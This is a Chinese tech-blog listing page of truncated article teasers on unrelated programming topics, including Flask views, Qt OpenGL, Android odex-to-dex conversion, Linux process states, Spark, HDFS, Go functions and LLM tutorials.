一&#xff1a;不同平台基于多进程并发编程的实现 1.Windows平台 参考博文&#xff1a;Windows 编程&#xff08;多进程&#xff09; 更多API: 1&#xff09;waitForSingleObject&#xff1a;等待一个内核对象变为已通知状态 2&#xff09;GetExitCodeProcess&#xff1a;获取…...

Flask入门(4):CBV和FBV

目录4.CBV和FBV4.1 继承 views.View4.2 继承 views.MethodView4.CBV和FBV 前面的例子中&#xff0c;都是基于视图函数构建视图&#xff08;FBV&#xff09;&#xff0c;和Django一样&#xff0c;Flask也有基于类构建视图&#xff08;CBV&#xff09;的方法。这种方式用的不多&…...

Qt OpenGL(三十九)——Qt OpenGL 核心模式-在雷达坐标系中绘制飞行的飞机

提示:本系列文章的索引目录在下面文章的链接里(点击下面可以跳转查看): Qt OpenGL 核心模式版本文章目录 Qt OpenGL(三十九)——Qt OpenGL 核心模式-在雷达坐标系中绘制飞行的飞机 一、场景 在之前绘制完毕雷达显示图之后,这时候,我们能匹配的场景就更广泛了,比如说…...

系统应用 odex 转 dex

说下为什会有这个需求&#xff0c;以某系统应用为例&#xff0c;我们通过 adb 获取到的 apk 反编译查看只有少部分代码和资源&#xff0c;关键代码看不到。 经过一系列操作&#xff0c;把 odex 转换为 dex 可以看到源码。 工具下载 Smali 下载 1、使用 adb shell pm list pa…...

【GPLT 三阶题目集】L3-013 非常弹的球

刚上高一的森森为了学好物理&#xff0c;买了一个“非常弹”的球。虽然说是非常弹的球&#xff0c;其实也就是一般的弹力球而已。森森玩了一会儿弹力球后突然想到&#xff0c;假如他在地上用力弹球&#xff0c;球最远能弹到多远去呢&#xff1f;他不太会&#xff0c;你能帮他解…...

vue项目第三天

论坛项目动态路由菜单以及渲染用户登录全局前置拦截器获取用户的菜单以及接口执行过程解析菜单数据&#xff0c;渲染伟动态路由。菜单数据将数据源解析为类似路由配置对象的格式&#xff08;./xxx/xxx 这种格式&#xff09;。下方是路由实例的代码,后面封装了很多方法这里也需要…...

【渝偲医药】实验室关于核磁共振波谱NMR的知识(原理、用途、分析、问题)

核磁共振波谱法&#xff08;Nuclear Magnetic Resonance&#xff0c;简写为NMR&#xff09;与紫外吸收光谱、红外吸收光谱、质谱被人们称为“四谱"&#xff0c;是对各种有机和无机物的成分、结构进行定性分析的强有力的工具之一&#xff0c;亦可进行定量分析。 核磁共振&…...

教你文本生成图片——stablediffusion

今天来点轻松的话题&#xff0c;带大家玩一个用文字生成图片的模型。相信大家如果关注AIGC领域&#xff0c;对文本生成图片&#xff0c;对Stablefiffusion、DEALL.E应该不陌生。今天给大家介绍的就是基于SD2 finetune出来的一个模型&#xff08;&#xff09;这篇文章不会教大家…...

C语言学习笔记-命令行参数

在图形界面普及之前都使用命令行界面。DOS和UNIX就是例子。Linux终端提供类UNIX命令行环境。 命令行&#xff08;command line&#xff09;是在命令行环境中&#xff0c;用户为运行程序输入命令的行。命令行参数&#xff08;command-line argument&#xff09;是同一行的附加项…...

ASEMI代理FGH60N60,安森美FGH60N60车规级IGBT

编辑-Z 安森美FGH60N60车规级IGBT参数&#xff1a; 型号&#xff1a;FGH60N60 集电极到发射极电压&#xff08;VCES&#xff09;&#xff1a;600V 栅极到发射极电压&#xff08;VGES&#xff09;&#xff1a;20V 收集器电流&#xff08;IC&#xff09;&#xff1a;120A 二…...

http409报错原因

今天一个同事的接口突然报409,大概百度了一下,不是很清楚,谷歌也没找到特别好的解释 因为是直接调用的gitlab,就直接看了下gitlab的api The following table shows the possible return codes for API requests. Return valuesDescription200 OKThe GET, PUT or DELETE request…...

设计模式:适配器模式(c++实现案例)

适配器模式 适配器模式是将一个类的接口转换成客户希望的另外一个接口。适配器模式使得原本由于接口不兼容而不能一起工作的那些类可以一起工作。好比日本现在就只提供110V的电压&#xff0c;而我的电脑就需要220V的电压&#xff0c;那怎么办啦?适配器就是干这活的&#xff0…...

Python|每日一练|数组|回溯|哈希表|全排列|单选记录:全排列 II|插入区间|存在重复元素

1、全排列 II&#xff08;数组&#xff0c;回溯&#xff09; 给定一个可包含重复数字的序列 nums &#xff0c;按任意顺序 返回所有不重复的全排列。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,2]输出&#xff1a;[[1,1,2], [1,2,1], [2,1,1]] 示例 2&#xff1a; 输…...

Linux进程状态

Linux进程状态前言阻塞挂起Linux进程状态R运行状态S睡眠状态D磁盘休眠状态T停止状态X死亡状态Z僵尸状态僵尸进程的总结前言 在介绍Linux的进程状态之前&#xff0c;我们先做一个小调查&#xff1a; 正在运行的程序是一直在运行吗&#xff1f;或者说正在运行的程序一直在被cpu处…...

大数据第一轮复习笔记

linux: 添加用户 useradd 删除用户 userdel useradd -d指定组 添加组 groupadd 删除组 groupdel 创建目录 mkdir -p 删除目录 rm -rf 创建目录 touch cat -n 查看文件(显示行号)...

HTML面试题

HTML面试题部分知识点梳理 1.如何理解HTML语义化 让页面的内容结构化&#xff0c;便于对浏览器、引擎解析&#xff0c;易于阅读&#xff0c;便于维护理解&#xff0c;利于SEO。 2.H5的新特性 video/audio视频/音频canvas 绘画geolocation 定位 用于定位用户的位置WebSocket…...

基于FPGA的PID算法学习———实现PID比例控制算法

基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容&#xff1a;参考网站&#xff1a; PID算法控制 PID即&#xff1a;Proportional&#xff08;比例&#xff09;、Integral&#xff08;积分&…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析

这门怎么题库答案不全啊日 来简单学一下子来 一、选择题&#xff08;可多选&#xff09; 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘&#xff1a;专注于发现数据中…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

【Go语言基础【13】】函数、闭包、方法

文章目录 零、概述一、函数基础1、函数基础概念2、参数传递机制3、返回值特性3.1. 多返回值3.2. 命名返回值3.3. 错误处理 二、函数类型与高阶函数1. 函数类型定义2. 高阶函数&#xff08;函数作为参数、返回值&#xff09; 三、匿名函数与闭包1. 匿名函数&#xff08;Lambda函…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

Git 3天2K星标:Datawhale 的 Happy-LLM 项目介绍(附教程)

引言 在人工智能飞速发展的今天&#xff0c;大语言模型&#xff08;Large Language Models, LLMs&#xff09;已成为技术领域的焦点。从智能写作到代码生成&#xff0c;LLM 的应用场景不断扩展&#xff0c;深刻改变了我们的工作和生活方式。然而&#xff0c;理解这些模型的内部…...